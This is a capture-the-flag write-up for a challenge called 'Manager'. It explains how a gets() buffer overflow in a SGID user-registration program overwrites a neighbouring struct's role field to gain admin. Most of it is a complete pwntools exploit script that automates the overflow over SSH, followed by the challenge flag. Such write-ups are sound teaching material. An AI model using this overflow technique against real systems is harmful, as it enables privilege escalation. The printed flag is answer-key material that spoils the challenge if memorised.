[Pwn] Manager


Application inside directory /home/manager provides user registration. Can you register as admin?


Link to the challenge



For this challenge we’re given source code of the application, SSH credentials and information about an application on the server. Source code

After logging in and going into the directory pointed out by the task description we can see the flag file, source code and a SGID binary that will allow us to read the flag file. directory

The program allows us to perform 3 actions:

The program differentiates between normal and admin users by using an enum.

1
2
3
4
5
struct User {
    char name[100];
    char pwd[100];
    enum {admin, regular} role;
} users[MAX_USERS];

Admin will have the value of 0 while regular users will have the role value set to 1.

The problem here is that the program reads the values from the user with gets which doesn’t have any strict input length limit, meaning that we are able to write data past the destination buffer.

We can abuse that in this case by:

We’re fortunate enough that gets will allow us to pass a single null byte which it will save in the place we want, we can prepare a python script to do all these actions for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from pwnlib.tubes.ssh import ssh as ssh_raw

s = ssh_raw(host='[redacted]', user='[redacted]', port=0, password='[redacted]')
p = s.process(['/home/manager/manager'])

log.info('Registering the first user')
p.sendlineafter('Enter number: ', '2')
p.sendlineafter('Enter new username: ', 'test1')
p.sendlineafter('Enter new password: ', 'test1')

log.info('Registering the second user')
p.sendlineafter('Enter number: ', '2')
p.sendlineafter('Enter new username: ', 'test2')
p.sendlineafter('Enter new password: ', 'test2')

log.info('Removing the first user')
p.sendlineafter('Enter number: ', '3')
p.sendlineafter('Enter username to delete: ', 'test1')
p.sendlineafter('Confirm password: ', 'test1')

log.info('Re-registering the first user')
p.sendlineafter('Enter number: ', '2')
p.sendlineafter('Enter new username: ', 'test1')
p.recvuntil('Enter new password: ')
# Overwriting: 1st password (100), 1st role (4), 2nd username (100), 2nd password (100), 2nd role (1, null byte)
log.info('Sending the payload overwriting the 2nd user\'s role ')
p.sendline(b'A'*100 + b'A' * 4 + b'A'*100 + b'A'*100 + b'\x00' * 10) 

log.info('Logging in')
p.sendlineafter('Enter number: ', '1')
p.sendlineafter('Enter username: ', 'A' * 200) # 200 because the null byte is only after both the username and password
p.sendlineafter('Enter password: ', 'A' * 100)
p.recvlines(2)

log.success(f'Flag: {p.recvline().decode()}')

After running the script it will return us the flag: flag


Flag: CTF{OverRun!}